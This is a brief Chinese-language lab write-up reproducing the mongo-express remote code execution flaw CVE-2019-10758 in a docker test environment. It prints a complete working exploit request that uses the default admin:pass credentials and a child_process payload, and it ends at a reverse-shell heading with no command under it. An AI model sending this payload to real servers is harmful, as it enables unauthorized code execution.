mongo-express 遠端程式碼執行漏洞(CVE-2019-10758)
阿新 • • 發佈:2022-05-17
mongo-express是一款mongodb的第三方Web介面,使用node和express開發。如果攻擊者可以成功登入,或者目標伺服器沒有修改預設的賬號密碼(admin:pass
),則可以執行任意node.js程式碼。
漏洞環境
執行如下命令啟動一個0.53.0版本的mongo-express:
docker-compose up -d
環境啟動後,訪問http://your-ip:8081
即可檢視到Web頁面。
漏洞復現
直接傳送如下資料包,即可執行程式碼this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
POST /checkValid HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Basic YWRtaW46cGFzcw== Content-Type: application/x-www-form-urlencoded Content-Length: 124 document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
反彈Shell
通過curl下載shell